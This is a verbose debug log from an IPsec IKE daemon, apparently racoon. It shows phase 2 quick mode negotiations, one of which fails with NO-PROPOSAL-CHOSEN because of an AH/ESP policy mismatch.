IDci2:2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
01000000 c0a80537
2002-07-30 09:07:46: DEBUG: isakmp_quick.c:1008:quick_r1recv(): received
IDcr2:2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
01000000 0a000001
2002-07-30 09:07:46: DEBUG: isakmp_quick.c:1023:quick_r1recv(): HASH(1)
validate:2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
f97e334c 259db005 0b2ca0b0 8eb56996
2002-07-30 09:07:46: DEBUG: oakley.c:745:oakley_compute_hash1(): HASH with:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
fe990af1 0a000074 00000001 00000001 02000034 01020401 f17d1bfa 00000028
01020000 80040001 80010001 80027080 80010002 00020004 00465000 80030001
80050001 00000034 01030401 028a2fa8 00000028 01020000 80040001 80010001
80027080 80010002 00020004 00465000 80050001 80030001 04000018 68cd589f
b6f640a9 ab51388e 739d559a d3debeed 05000064 5667f1b3 a1acea95 9fc21866
16b09c60 b6fb5011 69293d7e 5529ca69 3343df02 1857d238 eb743bc6 22525df7
56704e9b 212ff9b7 67ccfa06 f5fd33bf 3f0e51cf e3792910 bd2f905d 931c3ad4
10f8b30e a7e40354 1a2694a2 7dee64f1 a3766e7d 0500000c 01000000 c0a80537
0000000c 01000000 0a000001
2002-07-30 09:07:46: DEBUG: algorithm.c:322:alg_oakley_hmacdef():
hmac(hmac_md5)
2002-07-30 09:07:46: DEBUG: oakley.c:755:oakley_compute_hash1(): HASH
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
f97e334c 259db005 0b2ca0b0 8eb56996
2002-07-30 09:07:46: DEBUG: sainfo.c:100:getsainfo(): anonymous sainfo
selected.
2002-07-30 09:07:46: DEBUG: isakmp_quick.c:1815:get_sainfo_r(): get sa info:
anonymous
2002-07-30 09:07:46: DEBUG: isakmp_quick.c:1993:get_proposal_r(): get a src
address from ID payload 192.168.5.55[0] prefixlen=32 ul_proto=255
2002-07-30 09:07:46: DEBUG: isakmp_quick.c:1998:get_proposal_r(): get dst
address from ID payload 10.0.0.1[0] prefixlen=32 ul_proto=255
2002-07-30 09:07:46: DEBUG: policy.c:216:cmpspidxwild(): sub:0xbfbff7b0:
192.168.5.55/32[0] 10.0.0.1/32[0] proto=any dir=in
2002-07-30 09:07:46: DEBUG: policy.c:217:cmpspidxwild(): db: 0x80a3c08:
192.168.5.55/32[0] 10.0.0.1/32[0] proto=any dir=in
2002-07-30 09:07:46: DEBUG: policy.c:244:cmpspidxwild(): 0xbfbff7b0 masked
with /32: 192.168.5.55[0]
2002-07-30 09:07:46: DEBUG: policy.c:246:cmpspidxwild(): 0x80a3c08 masked
with /32: 192.168.5.55[0]
2002-07-30 09:07:46: DEBUG: policy.c:260:cmpspidxwild(): 0xbfbff7b0 masked
with /32: 10.0.0.1[0]
2002-07-30 09:07:46: DEBUG: policy.c:262:cmpspidxwild(): 0x80a3c08 masked
with /32: 10.0.0.1[0]
2002-07-30 09:07:46: DEBUG: policy.c:216:cmpspidxwild(): sub:0xbfbff7b0:
10.0.0.1/32[0] 192.168.5.55/32[0] proto=any dir=out
2002-07-30 09:07:46: DEBUG: policy.c:217:cmpspidxwild(): db: 0x80a3c08:
192.168.5.55/32[0] 10.0.0.1/32[0] proto=any dir=in
2002-07-30 09:07:46: DEBUG: policy.c:216:cmpspidxwild(): sub:0xbfbff7b0:
10.0.0.1/32[0] 192.168.5.55/32[0] proto=any dir=out
2002-07-30 09:07:46: DEBUG: policy.c:217:cmpspidxwild(): db: 0x80b6008:
10.0.0.1/32[0] 192.168.5.55/32[0] proto=any dir=out
2002-07-30 09:07:46: DEBUG: policy.c:244:cmpspidxwild(): 0xbfbff7b0 masked
with /32: 10.0.0.1[0]
2002-07-30 09:07:46: DEBUG: policy.c:246:cmpspidxwild(): 0x80b6008 masked
with /32: 10.0.0.1[0]
2002-07-30 09:07:46: DEBUG: policy.c:260:cmpspidxwild(): 0xbfbff7b0 masked
with /32: 192.168.5.55[0]
2002-07-30 09:07:46: DEBUG: policy.c:262:cmpspidxwild(): 0x80b6008 masked
with /32: 192.168.5.55[0]
2002-07-30 09:07:46: DEBUG: isakmp_quick.c:2054:get_proposal_r(): suitable
SP found:10.0.0.1/32[0] 192.168.5.55/32[0] proto=any dir=out
2002-07-30 09:07:46: DEBUG: proposal.c:825:printsaproto():  (proto_id=ESP
spisize=4 spi=00000000 spi_p=00000000 encmode=Tunnel reqid=0:0)
2002-07-30 09:07:46: DEBUG: proposal.c:859:printsatrns():   (trns_id=DES
encklen=0 authtype=1)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1117:get_proppair(): total SA
len=112
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
00000001 00000001 02000034 01020401 f17d1bfa 00000028 01020000 80040001
80010001 80027080 80010002 00020004 00465000 80030001 80050001 00000034
01030401 028a2fa8 00000028 01020000 80040001 80010001 80027080 80010002
00020004 00465000 80050001 80030001
2002-07-30 09:07:46: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=2(prop)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=2(prop)
2002-07-30 09:07:46: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1170:get_proppair(): proposal #1
len=52
2002-07-30 09:07:46: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=3(trns)
2002-07-30 09:07:46: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1311:get_transform(): transform #1
len=40
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec():
type=Encription Mode, flag=0x8000, lorv=Tunnel
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Type, flag=0x8000, lorv=seconds
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Duration, flag=0x8000, lorv=28800
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2155:check_attr_ipsec(): life
duration was in TLV.
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Type, flag=0x8000, lorv=kilobytes
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Duration, flag=0x0000, lorv=4
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=Group
Description, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: algorithm.c:610:alg_oakley_dhdef():
hmac(modp768)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec():
type=Authentication Algorithm, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1170:get_proppair(): proposal #1
len=52
2002-07-30 09:07:46: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=3(trns)
2002-07-30 09:07:46: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1311:get_transform(): transform #1
len=40
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec():
type=Encription Mode, flag=0x8000, lorv=Tunnel
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Type, flag=0x8000, lorv=seconds
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Duration, flag=0x8000, lorv=28800
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2155:check_attr_ipsec(): life
duration was in TLV.
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Type, flag=0x8000, lorv=kilobytes
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Duration, flag=0x0000, lorv=4
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec():
type=Authentication Algorithm, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=Group
Description, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: algorithm.c:610:alg_oakley_dhdef():
hmac(modp768)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1213:get_proppair(): pair 1:
2002-07-30 09:07:46: DEBUG: proposal.c:892:print_proppair0():  0x80a9b30:
next=0x80a9b40 tnext=0x0
2002-07-30 09:07:46: DEBUG: proposal.c:892:print_proppair0():   0x80a9b40:
next=0x0 tnext=0x0
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1248:get_proppair(): proposal #1: 2
transform
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:948:get_ph2approval(): begin compare
proposals.
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:954:get_ph2approval(): pair[1]:
0x80a9b30
2002-07-30 09:07:46: DEBUG: proposal.c:892:print_proppair0():  0x80a9b30:
next=0x80a9b40 tnext=0x0
2002-07-30 09:07:46: DEBUG: proposal.c:892:print_proppair0():   0x80a9b40:
next=0x0 tnext=0x0
2002-07-30 09:07:46: DEBUG: proposal.c:681:aproppair2saprop(): prop#=1
prot-id=AH spi-size=4 #trns=1 trns#=1 trns-id=MD5
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns():
type=Encription Mode, flag=0x8000, lorv=Tunnel
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Type, flag=0x8000, lorv=seconds
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Duration, flag=0x8000, lorv=28800
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Type, flag=0x8000, lorv=kilobytes
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Duration, flag=0x0000, lorv=4
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=Group
Description, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns():
type=Authentication Algorithm, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: proposal.c:681:aproppair2saprop(): prop#=1
prot-id=ESP spi-size=4 #trns=1 trns#=1 trns-id=DES
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns():
type=Encription Mode, flag=0x8000, lorv=Tunnel
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Type, flag=0x8000, lorv=seconds
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Duration, flag=0x8000, lorv=28800
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Type, flag=0x8000, lorv=kilobytes
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Duration, flag=0x0000, lorv=4
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns():
type=Authentication Algorithm, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=Group
Description, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:990:get_ph2approvalx(): peer's
single bundle:
2002-07-30 09:07:46: DEBUG: proposal.c:825:printsaproto():  (proto_id=AH
spisize=4 spi=f17d1bfa spi_p=00000000 encmode=Tunnel reqid=0:0)
2002-07-30 09:07:46: DEBUG: proposal.c:853:printsatrns():   (trns_id=MD5
authtype=1)
2002-07-30 09:07:46: DEBUG: proposal.c:825:printsaproto():  (proto_id=ESP
spisize=4 spi=028a2fa8 spi_p=00000000 encmode=Tunnel reqid=0:0)
2002-07-30 09:07:46: DEBUG: proposal.c:859:printsatrns():   (trns_id=DES
encklen=0 authtype=1)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:993:get_ph2approvalx(): my single
bundle:
2002-07-30 09:07:46: DEBUG: proposal.c:825:printsaproto():  (proto_id=ESP
spisize=4 spi=00000000 spi_p=00000000 encmode=Tunnel reqid=0:0)
2002-07-30 09:07:46: DEBUG: proposal.c:859:printsatrns():   (trns_id=DES
encklen=0 authtype=1)
2002-07-30 09:07:46: ERROR: ipsec_doi.c:1001:get_ph2approvalx(): not matched
2002-07-30 09:07:46: ERROR: ipsec_doi.c:966:get_ph2approval(): no suitable
policy found.
2002-07-30 09:07:46: ERROR: isakmp.c:1060:isakmp_ph2begin_r(): failed to
pre-process packet.
2002-07-30 09:07:46: DEBUG: oakley.c:2543:oakley_newiv2(): compute IV for
phase2
2002-07-30 09:07:46: DEBUG: oakley.c:2544:oakley_newiv2(): phase1 last IV:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
5dd5e325 f1e6fcf2 edfe6e03
2002-07-30 09:07:46: DEBUG: algorithm.c:252:alg_oakley_hashdef(): hash(md5)
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2576:oakley_newiv2(): phase2 IV
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
09aa6ed9 c269e7f0
2002-07-30 09:07:46: DEBUG: oakley.c:745:oakley_compute_hash1(): HASH with:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
edfe6e03 0000000c 00000001 0100000e
2002-07-30 09:07:46: DEBUG: algorithm.c:322:alg_oakley_hmacdef():
hmac(hmac_md5)
2002-07-30 09:07:46: DEBUG: oakley.c:755:oakley_compute_hash1(): HASH
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
d2819e13 837cf329 1739a7e9 72cd5bc6
2002-07-30 09:07:46: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
07:46.739906 xxx.xxx.xxx.70:500 -> yyy.yyy.yyy.62:500: isakmp 1.0 msgid
edfe6e03: phase 2/others ? inf:
    (hash: len=16)
    (n: doi=ipsec proto=isakmp type=NO-PROPOSAL-CHOSEN)
2002-07-30 09:07:46: DEBUG: oakley.c:2742:oakley_do_encrypt(): begin
encryption.
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2758:oakley_do_encrypt(): pad length =
8
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
0b000014 d2819e13 837cf329 1739a7e9 72cd5bc6 0000000c 00000001 0100000e
00000000 00000008
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2793:oakley_do_encrypt(): with key:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
b5a9e14b 687a9d70
2002-07-30 09:07:46: DEBUG: oakley.c:2801:oakley_do_encrypt(): encrypted
payload by IV:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
09aa6ed9 c269e7f0
2002-07-30 09:07:46: DEBUG: oakley.c:2808:oakley_do_encrypt(): save IV for
next:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
43a22c70 16c217ae
2002-07-30 09:07:46: DEBUG: oakley.c:2825:oakley_do_encrypt(): encrypted.
2002-07-30 09:07:46: DEBUG: sockmisc.c:421:sendfromto(): sockname
xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:423:sendfromto(): send packet from
xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:425:sendfromto(): send packet to
yyy.yyy.yyy.62[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:570:sendfromto(): 1 times of 68 bytes
message will be sent to xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 08100501 edfe6e03 00000044 db426b51
13f99b7e 787698aa 4d1a5d7f 9e078d8b fa5bc9a1 a37f6102 063f2487 43a22c70
16c217ae
2002-07-30 09:07:46: DEBUG: isakmp_inf.c:634:isakmp_info_send_common():
sendto Information notify.
2002-07-30 09:08:01: DEBUG: isakmp.c:218:isakmp_handler(): ===
2002-07-30 09:08:01: DEBUG: isakmp.c:219:isakmp_handler(): 316 bytes message
received from yyy.yyy.yyy.62[500]
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 08102001 fe990af1 0000013c 76f9b209
919ce0a2 de383664 35b616c1 726a7c94 32d7a814 500abea9 50824e57 457dbee0
1f5de584 dfbca6c1 ab8eab18 94426b19 c6a5b814 f71c7093 7f3e9d6f 797ec813
0fb3f604 b507f03a d0b992c8 d655654c a0badc5d 56c90f82 21f019bb 1c1861a5
44ea240f 5d465476 409fde28 2f0d9e9e 507c1588 f43a6bdc 48d64e90 af79c269
c45d3273 e4929e86 a6ae982d 2e99d9f8 20723048 6ee0022e e21886ee 55f2f730
0b07ed0f 4f34a001 11bf3119 dbc883df 95dd7b83 be475fa0 cba7e6c5 cc8ab740
a80149e1 8ac96d1d 9d4a6f54 24f510e9 500d51f4 c66b71a9 d68757f9 65cdced2
7c7e5f45 78af9dc6 834882f8 6081a76a fb50acbc a245800e 1b6051f6 9620e8cd
1bb2a20b ce850e0b 7b71cddc 4bc8e714 d3f8e787 ab2b314c cb749e52
2002-07-30 09:08:01: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
08:01.715502 yyy.yyy.yyy.62:500 -> xxx.xxx.xxx.70:500: isakmp 1.0 msgid
fe990af1: phase 2/others ? oakley-quick[E]: [|hash]
2002-07-30 09:08:01: DEBUG: oakley.c:2543:oakley_newiv2(): compute IV for
phase2
2002-07-30 09:08:01: DEBUG: oakley.c:2544:oakley_newiv2(): phase1 last IV:
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
5dd5e325 f1e6fcf2 fe990af1
2002-07-30 09:08:01: DEBUG: algorithm.c:252:alg_oakley_hashdef(): hash(md5)
2002-07-30 09:08:01: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:08:01: DEBUG: oakley.c:2576:oakley_newiv2(): phase2 IV
computed:
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
54bd5a4e 41e2d3b7
2002-07-30 09:08:01: DEBUG: isakmp.c:1041:isakmp_ph2begin_r(): ===
2002-07-30 09:08:01: INFO: isakmp.c:1046:isakmp_ph2begin_r(): respond new
phase 2 negotiation: xxx.xxx.xxx.70[0]<=>yyy.yyy.yyy.62[0]
2002-07-30 09:08:01: DEBUG: oakley.c:2619:oakley_do_decrypt(): begin
decryption.
2002-07-30 09:08:01: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:08:01: DEBUG: oakley.c:2633:oakley_do_decrypt(): IV was saved
for next processing:
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
ab2b314c cb749e52
2002-07-30 09:08:01: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:08:01: DEBUG: oakley.c:2658:oakley_do_decrypt(): with key:
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
b5a9e14b 687a9d70
2002-07-30 09:08:01: DEBUG: oakley.c:2666:oakley_do_decrypt(): decrypted
payload by IV:
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
54bd5a4e 41e2d3b7
2002-07-30 09:08:01: DEBUG: oakley.c:2669:oakley_do_decrypt(): decrypted
payload, but not trimed.
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
01000014 f97e334c 259db005 0b2ca0b0 8eb56996 0a000074 00000001 00000001
02000034 01020401 f17d1bfa 00000028 01020000 80040001 80010001 80027080
80010002 00020004 00465000 80030001 80050001 00000034 01030401 028a2fa8
00000028 01020000 80040001 80010001 80027080 80010002 00020004 00465000
80050001 80030001 04000018 68cd589f b6f640a9 ab51388e 739d559a d3debeed
05000064 5667f1b3 a1acea95 9fc21866 16b09c60 b6fb5011 69293d7e 5529ca69
3343df02 1857d238 eb743bc6 22525df7 56704e9b 212ff9b7 67ccfa06 f5fd33bf
3f0e51cf e3792910 bd2f905d 931c3ad4 10f8b30e a7e40354 1a2694a2 7dee64f1
a3766e7d 0500000c 01000000 c0a80537 0000000c 01000000 0a000001 00000000
2002-07-30 09:08:01: DEBUG: oakley.c:2678:oakley_do_decrypt(): padding len=0
2002-07-30 09:08:01: DEBUG: oakley.c:2692:oakley_do_decrypt(): skip to trim
padding.
2002-07-30 09:08:01: DEBUG: oakley.c:2707:oakley_do_decrypt(): decrypted.
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 08102001 fe990af1 0000013c 01000014
f97e334c 259db005 0b2ca0b0 8eb56996 0a000074 00000001 00000001 02000034
01020401 f17d1bfa 00000028 01020000 80040001 80010001 80027080 80010002
00020004 00465000 80030001 80050001 00000034 01030401 028a2fa8 00000028
01020000 80040001 80010001 80027080 80010002 00020004 00465000 80050001
80030001 04000018 68cd589f b6f640a9 ab51388e 739d559a d3debeed 05000064
5667f1b3 a1acea95 9fc21866 16b09c60 b6fb5011 69293d7e 5529ca69 3343df02
1857d238 eb743bc6 22525df7 56704e9b 212ff9b7 67ccfa06 f5fd33bf 3f0e51cf
e3792910 bd2f905d 931c3ad4 10f8b30e a7e40354 1a2694a2 7dee64f1 a3766e7d
0500000c 01000000 c0a80537 0000000c 01000000 0a000001 00000000
2002-07-30 09:08:01: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
08:01.718093 yyy.yyy.yyy.62:500 -> xxx.xxx.xxx.70:500: isakmp 1.0 msgid
fe990af1: phase 2/others ? oakley-quick:
    (hash: len=16)
    (sa: doi=ipsec situation=identity
        (p: #1 protoid=ipsec-ah transform=1 spi=f17d1bfa
            (t: #1 id=md5 (type=enc mode value=tunnel)(type=lifetype
value=sec)(type=life value=7080)(type=lifetype value=kb)(type=life len=4
value=00465000)(type=group desc value=modp768)(type=auth value=hmac-md5)))
        (p: #1 protoid=ipsec-esp transform=1 spi=028a2fa8
            (t: #1 id=1des (type=enc mode value=tunnel)(type=lifetype
value=sec)(type=life value=7080)(type=lifetype value=kb)(type=life len=4
value=00465000)(type=auth value=hmac-md5)(type=group desc value=modp768))))
    (nonce: n len=20)
    (ke: key len=96)
    (id: idtype=IPv4 protoid=0 port=0 len=4 192.168.5.55)
    (id: idtype=IPv4 protoid=0 port=0 len=4 10.0.0.1)
2002-07-30 09:08:01: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:08:01: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=8(hash)
2002-07-30 09:08:01: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=1(sa)
2002-07-30 09:08:01: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=10(nonce)
2002-07-30 09:08:01: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=4(ke)
2002-07-30 09:08:01: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=5(id)
2002-07-30 09:08:01: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=5(id)
2002-07-30 09:08:01: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:08:01: DEBUG: isakmp_quick.c:1004:quick_r1recv(): received
IDci2:2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
01000000 c0a80537
2002-07-30 09:08:01: DEBUG: isakmp_quick.c:1008:quick_r1recv(): received
IDcr2:2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
01000000 0a000001
2002-07-30 09:08:01: DEBUG: isakmp_quick.c:1023:quick_r1recv(): HASH(1)
validate:2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
f97e334c 259db005 0b2ca0b0 8eb56996
2002-07-30 09:08:01: DEBUG: oakley.c:745:oakley_compute_hash1(): HASH with:
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
fe990af1 0a000074 00000001 00000001 02000034 01020401 f17d1bfa 00000028
01020000 80040001 80010001 80027080 80010002 00020004 00465000 80030001
80050001 00000034 01030401 028a2fa8 00000028 01020000 80040001 80010001
80027080 80010002 00020004 00465000 80050001 80030001 04000018 68cd589f
b6f640a9 ab51388e 739d559a d3debeed 05000064 5667f1b3 a1acea95 9fc21866
16b09c60 b6fb5011 69293d7e 5529ca69 3343df02 1857d238 eb743bc6 22525df7
56704e9b 212ff9b7 67ccfa06 f5fd33bf 3f0e51cf e3792910 bd2f905d 931c3ad4
10f8b30e a7e40354 1a2694a2 7dee64f1 a3766e7d 0500000c 01000000 c0a80537
0000000c 01000000 0a000001
2002-07-30 09:08:01: DEBUG: algorithm.c:322:alg_oakley_hmacdef():
hmac(hmac_md5)
2002-07-30 09:08:01: DEBUG: oakley.c:755:oakley_compute_hash1(): HASH
computed:
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
f97e334c 259db005 0b2ca0b0 8eb56996
2002-07-30 09:08:01: DEBUG: sainfo.c:100:getsainfo(): anonymous sainfo
selected.
2002-07-30 09:08:01: DEBUG: isakmp_quick.c:1815:get_sainfo_r(): get sa info:
anonymous
2002-07-30 09:08:01: DEBUG: isakmp_quick.c:1993:get_proposal_r(): get a src
address from ID payload 192.168.5.55[0] prefixlen=32 ul_proto=255
2002-07-30 09:08:01: DEBUG: isakmp_quick.c:1998:get_proposal_r(): get dst
address from ID payload 10.0.0.1[0] prefixlen=32 ul_proto=255
2002-07-30 09:08:01: DEBUG: policy.c:216:cmpspidxwild(): sub:0xbfbff7b0:
192.168.5.55/32[0] 10.0.0.1/32[0] proto=any dir=in
2002-07-30 09:08:01: DEBUG: policy.c:217:cmpspidxwild(): db: 0x80a3c08:
192.168.5.55/32[0] 10.0.0.1/32[0] proto=any dir=in
2002-07-30 09:08:01: DEBUG: policy.c:244:cmpspidxwild(): 0xbfbff7b0 masked
with /32: 192.168.5.55[0]
2002-07-30 09:08:01: DEBUG: policy.c:246:cmpspidxwild(): 0x80a3c08 masked
with /32: 192.168.5.55[0]
2002-07-30 09:08:01: DEBUG: policy.c:260:cmpspidxwild(): 0xbfbff7b0 masked
with /32: 10.0.0.1[0]
2002-07-30 09:08:01: DEBUG: policy.c:262:cmpspidxwild(): 0x80a3c08 masked
with /32: 10.0.0.1[0]
2002-07-30 09:08:01: DEBUG: policy.c:216:cmpspidxwild(): sub:0xbfbff7b0:
10.0.0.1/32[0] 192.168.5.55/32[0] proto=any dir=out
2002-07-30 09:08:01: DEBUG: policy.c:217:cmpspidxwild(): db: 0x80a3c08:
192.168.5.55/32[0] 10.0.0.1/32[0] proto=any dir=in
2002-07-30 09:08:01: DEBUG: policy.c:216:cmpspidxwild(): sub:0xbfbff7b0:
10.0.0.1/32[0] 192.168.5.55/32[0] proto=any dir=out
2002-07-30 09:08:01: DEBUG: policy.c:217:cmpspidxwild(): db: 0x80b6008:
10.0.0.1/32[0] 192.168.5.55/32[0] proto=any dir=out
2002-07-30 09:08:01: DEBUG: policy.c:244:cmpspidxwild(): 0xbfbff7b0 masked
with /32: 10.0.0.1[0]
2002-07-30 09:08:01: DEBUG: policy.c:246:cmpspidxwild(): 0x80b6008 masked
with /32: 10.0.0.1[0]
2002-07-30 09:08:01: DEBUG: policy.c:260:cmpspidxwild(): 0xbfbff7b0 masked
with /32: 192.168.5.55[0]
2002-07-30 09:08:01: DEBUG: policy.c:262:cmpspidxwild(): 0x80b6008 masked
with /32: 192.168.5.55[0]
2002-07-30 09:08:01: DEBUG: isakmp_quick.c:2054:get_proposal_r(): suitable
SP found:10.0.0.1/32[0] 192.168.5.55/32[0] proto=any dir=out
2002-07-30 09:08:01: DEBUG: proposal.c:825:printsaproto():  (proto_id=ESP
spisize=4 spi=00000000 spi_p=00000000 encmode=Tunnel reqid=0:0)
2002-07-30 09:08:01: DEBUG: proposal.c:859:printsatrns():   (trns_id=DES
encklen=0 authtype=1)
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:1117:get_proppair(): total SA
len=112
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
00000001 00000001 02000034 01020401 f17d1bfa 00000028 01020000 80040001
80010001 80027080 80010002 00020004 00465000 80030001 80050001 00000034
01030401 028a2fa8 00000028 01020000 80040001 80010001 80027080 80010002
00020004 00465000 80050001 80030001
2002-07-30 09:08:01: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:08:01: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=2(prop)
2002-07-30 09:08:01: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=2(prop)
2002-07-30 09:08:01: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:1170:get_proppair(): proposal #1
len=52
2002-07-30 09:08:01: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:08:01: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
